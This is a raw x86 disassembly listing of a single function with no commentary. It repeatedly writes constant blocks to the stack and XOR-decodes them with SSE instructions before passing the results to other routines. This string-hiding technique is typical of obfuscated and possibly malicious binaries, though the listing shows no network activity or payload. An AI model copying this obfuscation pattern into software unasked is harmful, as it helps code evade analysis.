jne 0x45d576
lea eax, [ebp - 0x18a0]
mov dword [ebp - 0x18c0], 0x333c8d72
push eax
lea eax, [ebp - 0x18c0]
mov dword [ebp - 0x18bc], 0xafa906d0
push eax
lea ecx, [ebp - 0x3128]
mov dword [ebp - 0x18b8], 0xa50d021f
mov dword [ebp - 0x18b4], 0xd33b0d51
mov dword [ebp - 0x18b0], 0xfab0f153
mov dword [ebp - 0x18ac], 0x11be8acd
mov dword [ebp - 0x18a8], 0xfb9de7a9
mov dword [ebp - 0x18a4], 0xe0d8456c
call fcn.0045f990
lea eax, [ebp - 0x1880]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x18a0]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3120]
mov dword [ebp - 0x18a0], 0x4052e425
mov dword [ebp - 0x189c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1898], 0xc0676c76
mov dword [ebp - 0x1894], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1890], 0x97d58527
mov dword [ebp - 0x188c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1888], 0x9ef18ec8
mov dword [ebp - 0x1884], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1860]
mov dword [ebp - 0xd80], 0x333c8d72
push eax
lea eax, [ebp - 0x1880]
mov dword [ebp - 0xd7c], 0xafa906d0
push eax
lea ecx, [ebp - 0x3118]
mov dword [ebp - 0x1880], 0x333c8d72
mov dword [ebp - 0x187c], 0xafa906d0
mov dword [ebp - 0xd78], 0xa50d021f
mov dword [ebp - 0xd74], 0xd33b0d51
mov dword [ebp - 0x1878], 0xa50d021f
mov dword [ebp - 0x1874], 0xd33b0d51
mov dword [ebp - 0xd70], 0xfab0f153
mov dword [ebp - 0xd6c], 0x11be8acd
mov dword [ebp - 0x1870], 0xfab0f153
mov dword [ebp - 0x186c], 0x11be8acd
mov dword [ebp - 0xd68], 0xfb9de7a9
mov dword [ebp - 0xd64], 0xe0d8456c
mov dword [ebp - 0x1868], 0xfb9de7a9
mov dword [ebp - 0x1864], 0xe0d8456c
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xd80]
lea eax, [ebp - 0xd80]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd80], xmm1
movaps xmm1, xmmword [ebp - 0xd70]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xd70], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2c68], 0x1307a575
lea eax, [ebp - 0x2c58]
mov dword [ebp - 0x2c64], 0x8fc265fa
lea ecx, [ebp - 0x3110]
mov dword [ebp - 0x2c60], 0xc0676c76
mov dword [ebp - 0x2c5c], 0xb21b7932
push eax
lea eax, [ebp - 0x2c68]
push eax
call fcn.0045f990
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x2c78], 0x4052e425
lea eax, [ebp - 0x2c68]
mov dword [ebp - 0x2c74], 0x8fc265bf
push eax
lea eax, [ebp - 0x2c78]
mov dword [ebp - 0x848], 0xc0676c76
push eax
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2c70], 0xc0676c76
mov dword [ebp - 0x2c6c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2c78]
mov dword [ebp - 0xaa0], 0x1307a575
push eax
lea eax, [ebp - 0x2c88]
mov dword [ebp - 0xa9c], 0x8fc265fa
push eax
lea ecx, [ebp - 0x3100]
mov dword [ebp - 0x2c88], 0x1307a575
mov dword [ebp - 0x2c84], 0x8fc265fa
mov dword [ebp - 0xa98], 0xc0676c76
mov dword [ebp - 0xa94], 0xb21b7932
mov dword [ebp - 0x2c80], 0xc0676c76
mov dword [ebp - 0x2c7c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xaa0]
lea eax, [ebp - 0xaa0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xaa0], xmm1
call fcn.005d6a9d
add esp, 4
call fcn.0044d800
jmp 0x4580e4
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045ed20
lea ecx, [ebp - 0x948]
call fcn.0045eaa0
lea ecx, [ebp - 0x13c8]
call fcn.0045eaa0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x13b0], 0x24338b69
lea eax, [ebp - 0x13b0]
mov dword [ebp - 0x13ac], 0xf9e217da
mov dword [ebp - 0x13a8], 0xa9141e13
mov dword [ebp - 0x13a4], 0xd13b175d
mov dword [ebp - 0x13a0], 0xfcb6e04f
mov dword [ebp - 0x139c], 0x5ec9b9d
mov dword [ebp - 0x1398], 0xbeddfca7
mov dword [ebp - 0x1394], 0x81bd2378
mov dword [ebp - 0x1390], 0x685d1baa
mov dword [ebp - 0x138c], 0xdcd7f673
mov dword [ebp - 0x1388], 0x728921da
mov dword [ebp - 0x1384], 0x234be1cc
mov dword [ebp - 0x1380], 0xe26e6e8f
mov dword [ebp - 0x137c], 0x201b0f02
mov dword [ebp - 0x1378], 0xae8d3982
mov dword [ebp - 0x1374], 0x27757d70
mov dword [ebp - 0x1370], 0x9ad5b1cd
mov dword [ebp - 0x136c], 0x72940ef7
mov dword [ebp - 0x1368], 0xe300097e
mov dword [ebp - 0x1364], 0x32d3fd43
mov dword [ebp - 0x1360], 0xb38d8bef
mov dword [ebp - 0x135c], 0xb687855
mov dword [ebp - 0x1358], 0x543f4490
mov dword [ebp - 0x1354], 0x36e2b320
movaps xmm1, xmmword [ebp - 0x13b0]
mov dword [ebp - 0x8d0], 0x4052e425
mov dword [ebp - 0x8cc], 0x8fc265bf
mov dword [ebp - 0x8c8], 0xc0676c76
mov dword [ebp - 0x8c4], 0xb21b7932
pxor xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x13b0], xmm1
movaps xmm1, xmmword [ebp - 0x13a0]
mov dword [ebp - 0x8c0], 0x97d58527
mov dword [ebp - 0x8bc], 0x779efebd
mov dword [ebp - 0x8b8], 0x9ef18ec8
mov dword [ebp - 0x8b4], 0xe0d84f08
pxor xmm1, xmmword [ebp - 0x8c0]
movaps xmmword [ebp - 0x13a0], xmm1
movaps xmm1, xmmword [ebp - 0x1390]
mov dword [ebp - 0x8b0], 0xb7d7ed9
mov dword [ebp - 0x8ac], 0xb7b4931b
mov dword [ebp - 0x8a8], 0x7e658fa
mov dword [ebp - 0x8a4], 0x4625c1be
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1390], xmm1
movaps xmm1, xmmword [ebp - 0x1380]
mov dword [ebp - 0x8a0], 0x900119fb
mov dword [ebp - 0x89c], 0x4f782f69
mov dword [ebp - 0x898], 0xcde857ec
mov dword [ebp - 0x894], 0x491a1404
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1380], xmm1
movaps xmm1, xmmword [ebp - 0x1370]
mov dword [ebp - 0x890], 0xfebbd0ed
mov dword [ebp - 0x88c], 0xbe67ad7
mov dword [ebp - 0x888], 0x8267685e
mov dword [ebp - 0x884], 0x38fd932a
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1370], xmm1
movaps xmm1, xmmword [ebp - 0x1360]
mov dword [ebp - 0x880], 0xb38d8bef
mov dword [ebp - 0x87c], 0xb687855
mov dword [ebp - 0x878], 0x543f4490
mov dword [ebp - 0x874], 0x36e2b320
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1360], xmm1
call fcn.0044b300
add esp, 4
lea ecx, [ebp - 0x22f8]
call fcn.0045e8e0
push eax
push 0x66fe50
call fcn.0044b300
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0xad0], 0x1307a575
mov dword [ebp - 0xacc], 0x8fc265fa
mov dword [ebp - 0xac8], 0xc0676c76
lea eax, [ebp - 0xad0]
mov dword [ebp - 0xac4], 0xb21b7932
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xad0]
push eax
movaps xmmword [ebp - 0xad0], xmm1
call fcn.005d6a9d
add esp, 0xc
push 0
call fcn.005d703f
lea eax, [ebp - 0x1d40]
mov dword [ebp - 0x1d70], 0x24338b69
push eax
lea eax, [ebp - 0x1d70]
mov dword [ebp - 0x1d6c], 0xf9e217da
push eax
lea ecx, [ebp - 0x34f8]
mov dword [ebp - 0x1d68], 0xa9141e13
mov dword [ebp - 0x1d64], 0xd13b175d
mov dword [ebp - 0x1d60], 0xfcb6e04f
mov dword [ebp - 0x1d5c], 0x1eff989d
mov dword [ebp - 0x1d58], 0xb295eba4
mov dword [ebp - 0x1d54], 0x85b43f28
mov dword [ebp - 0x1d50], 0x2b180db8
mov dword [ebp - 0x1d4c], 0x97cde16f
mov dword [ebp - 0x1d48], 0x6e873f9b
mov dword [ebp - 0x1d44], 0x462fefd0
call fcn.0045f990
lea eax, [ebp - 0x1d70]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1da0]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x34f0]
mov dword [ebp - 0x1da0], 0x4052e425
mov dword [ebp - 0x1d9c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1d98], 0xc0676c76
mov dword [ebp - 0x1d94], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1d90], 0x97d58527
mov dword [ebp - 0x1d8c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1d88], 0x9ef18ec8
mov dword [ebp - 0x1d84], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1d80], 0xb7d7ed9
mov dword [ebp - 0x1d7c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1d78], 0x7e658fa
mov dword [ebp - 0x1d74], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1da0]
mov dword [ebp - 0x11c0], 0x24338b69
push eax
lea eax, [ebp - 0x1dd0]
mov dword [ebp - 0x11bc], 0xf9e217da
push eax
lea ecx, [ebp - 0x34e8]
mov dword [ebp - 0x1dd0], 0x24338b69
mov dword [ebp - 0x1dcc], 0xf9e217da
mov dword [ebp - 0x11b8], 0xa9141e13
mov dword [ebp - 0x11b4], 0xd13b175d
mov dword [ebp - 0x1dc8], 0xa9141e13
mov dword [ebp - 0x1dc4], 0xd13b175d
mov dword [ebp - 0x11b0], 0xfcb6e04f
mov dword [ebp - 0x11ac], 0x1eff989d
mov dword [ebp - 0x1dc0], 0xfcb6e04f
mov dword [ebp - 0x1dbc], 0x1eff989d
mov dword [ebp - 0x11a8], 0xb295eba4
mov dword [ebp - 0x11a4], 0x85b43f28
mov dword [ebp - 0x1db8], 0xb295eba4
mov dword [ebp - 0x1db4], 0x85b43f28
mov dword [ebp - 0x11a0], 0x2b180db8
mov dword [ebp - 0x119c], 0x97cde16f
mov dword [ebp - 0x1db0], 0x2b180db8
mov dword [ebp - 0x1dac], 0x97cde16f
mov dword [ebp - 0x1198], 0x6e873f9b
mov dword [ebp - 0x1194], 0x462fefd0
mov dword [ebp - 0x1da8], 0x6e873f9b
mov dword [ebp - 0x1da4], 0x462fefd0
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x11c0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x11c0], xmm1
movaps xmm1, xmmword [ebp - 0x11b0]
lea eax, [ebp - 0x11c0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x11b0], xmm1
movaps xmm1, xmmword [ebp - 0x11a0]
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x11a0], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2e18], 0x1307a575
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0x2e14], 0x8fc265fa
lea ecx, [ebp - 0x34e0]
mov dword [ebp - 0x2e10], 0xc0676c76
mov dword [ebp - 0x2e0c], 0xb21b7932
push eax
lea eax, [ebp - 0x2e18]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2e18]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2e28]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x34d8]
mov dword [ebp - 0x2e28], 0x4052e425
mov dword [ebp - 0x2e24], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2e20], 0xc0676c76
mov dword [ebp - 0x2e1c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2e28]
mov dword [ebp - 0xb80], 0x1307a575
push eax
lea eax, [ebp - 0x2e38]
mov dword [ebp - 0xb7c], 0x8fc265fa
push eax
lea ecx, [ebp - 0x3440]
mov dword [ebp - 0x2e38], 0x1307a575
mov dword [ebp - 0x2e34], 0x8fc265fa
mov dword [ebp - 0xb78], 0xc0676c76
mov dword [ebp - 0xb74], 0xb21b7932
mov dword [ebp - 0x2e30], 0xc0676c76
mov dword [ebp - 0x2e2c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xb80]
lea eax, [ebp - 0xb80]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb80], xmm1
call fcn.005d6a9d
add esp, 4
push 0
call fcn.005d703f
lea eax, [ebp - 0x2e38]
mov dword [ebp - 0x2e48], 0x4037e40b
push eax
lea eax, [ebp - 0x2e48]
mov dword [ebp - 0x2e44], 0x8fa765c7
push eax
lea ecx, [ebp - 0x34d0]
mov dword [ebp - 0x2e40], 0xc0676c76
mov dword [ebp - 0x2e3c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2e48]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2e58]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x34c8]
mov dword [ebp - 0x2e58], 0x4052e425
mov dword [ebp - 0x2e54], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2e50], 0xc0676c76
mov dword [ebp - 0x2e4c], 0xb21b7932
call fcn.0045f990
lea eax, [ebp - 0x2e58]
mov dword [ebp - 0xb90], 0x4037e40b
push eax
lea eax, [ebp - 0x2e68]
mov dword [ebp - 0xb8c], 0x8fa765c7
push eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x2e68], 0x4037e40b
mov dword [ebp - 0x2e64], 0x8fa765c7
mov dword [ebp - 0xb88], 0xc0676c76
mov dword [ebp - 0xb84], 0xb21b7932
mov dword [ebp - 0x2e60], 0xc0676c76
mov dword [ebp - 0x2e5c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xb90]
lea ecx, [ebp - 0x2340]
pxor xmm1, xmmword [ebp - 0x850]
mov edx, 0xe
movaps xmmword [ebp - 0xb90], xmm1
call fcn.0044c1d0
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x2310]
call fcn.00460ba0
add esp, 4
lea ecx, [ebp - 0x2340]
mov byte [ebp - 4], 0xd
call fcn.0045e640
sub esp, 0x18
lea eax, [ebp - 0x2310]
mov ecx, esp
mov dword [ebp - 0x2bfc], esp
push eax
call fcn.0045e770
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x16c0]
push eax
lea eax, [ebp - 0x16e0]
mov dword [ebp - 0x16e0], 0x213d880a
push eax
lea ecx, [ebp - 0x34b8]
mov dword [ebp - 0x16dc], 0xa1b000db
mov dword [ebp - 0x16d8], 0xb2040213
mov dword [ebp - 0x16d4], 0xd76f094b
mov dword [ebp - 0x16d0], 0xfeb7ab43
mov dword [ebp - 0x16cc], 0x779efed3
mov dword [ebp - 0x16c8], 0x9ef18ec8
mov dword [ebp - 0x16c4], 0xe0d84f08
call fcn.0045f990
mov dword [ebp - 0x860], 0x4052e425
mov dword [ebp - 0x85c], 0x8fc265bf
lea eax, [ebp - 0x16a0]
mov dword [ebp - 0x16c0], 0x4052e425
push eax
lea eax, [ebp - 0x16c0]
mov dword [ebp - 0x16bc], 0x8fc265bf
push eax
lea ecx, [ebp - 0x34b0]
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x16b8], 0xc0676c76
mov dword [ebp - 0x16b4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x16b0], 0x97d58527
mov dword [ebp - 0x16ac], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x16a8], 0x9ef18ec8
mov dword [ebp - 0x16a4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1680]
mov dword [ebp - 0xee0], 0x213d880a
push eax
lea eax, [ebp - 0x16a0]
mov dword [ebp - 0xedc], 0xa1b000db
push eax
lea ecx, [ebp - 0x34a8]
mov dword [ebp - 0x16a0], 0x213d880a
mov dword [ebp - 0x169c], 0xa1b000db
mov dword [ebp - 0xed8], 0xb2040213
mov dword [ebp - 0xed4], 0xd76f094b
mov dword [ebp - 0x1698], 0xb2040213
mov dword [ebp - 0x1694], 0xd76f094b
mov dword [ebp - 0xed0], 0xfeb7ab43
mov dword [ebp - 0xecc], 0x779efed3
mov dword [ebp - 0x1690], 0xfeb7ab43
mov dword [ebp - 0x168c], 0x779efed3
mov dword [ebp - 0xec8], 0x9ef18ec8
mov dword [ebp - 0xec4], 0xe0d84f08
mov dword [ebp - 0x1688], 0x9ef18ec8
mov dword [ebp - 0x1684], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xee0]
lea eax, [ebp - 0xee0]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xee0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xed0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bf4], esp
push eax
movaps xmmword [ebp - 0xed0], xmm1
call fcn.0045ebf0
lea eax, [ebp - 0x2e68]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x2e78]
mov dword [ebp - 0x2e78], 0x27309155
push eax
lea ecx, [ebp - 0x34a0]
mov dword [ebp - 0x2e74], 0xe1b44bd2
mov dword [ebp - 0x2e70], 0xee1f0d1e
mov dword [ebp - 0x2e6c], 0xb2761651
call fcn.0045f990
lea eax, [ebp - 0x2e78]
mov dword [ebp - 0x850], 0x4052e425
push eax
lea eax, [ebp - 0x2e88]
mov dword [ebp - 0x84c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3498]
mov dword [ebp - 0x2e88], 0x4052e425
mov dword [ebp - 0x2e84], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2e80], 0xc0676c76
mov dword [ebp - 0x2e7c], 0xb21b7932
call fcn.0045f990
mov dword [ebp - 0xba0], 0x27309155
lea eax, [ebp - 0x2e88]
mov dword [ebp - 0xb9c], 0xe1b44bd2
push eax
lea eax, [ebp - 0x2e98]
mov dword [ebp - 0x2e98], 0x27309155
push eax
lea ecx, [ebp - 0x3490]
mov dword [ebp - 0x2e94], 0xe1b44bd2
mov dword [ebp - 0xb98], 0xee1f0d1e
mov dword [ebp - 0xb94], 0xb2761651
mov dword [ebp - 0x2e90], 0xee1f0d1e
mov dword [ebp - 0x2e8c], 0xb2761651
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xba0]
lea eax, [ebp - 0xba0]
pxor xmm1, xmmword [ebp - 0x850]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xba0], xmm1
push eax
call fcn.0045ebf0
mov ecx, esi
mov byte [ebp - 4], 0xd
call fcn.00453a30
add esp, 0x48
lea ecx, [ebp - 0x2310]
push 0xc0
call fcn.0045e630
mov dl, 1
mov ecx, eax
call fcn.0044c4f0
sub esp, 0x14
lea eax, [ebp - 0x2310]
mov ecx, esp
push eax
call fcn.0045e770
lea ecx, [ebp - 0x840]
call fcn.0044c430
add esp, 0x18
push 0
call fcn.005d703f
int3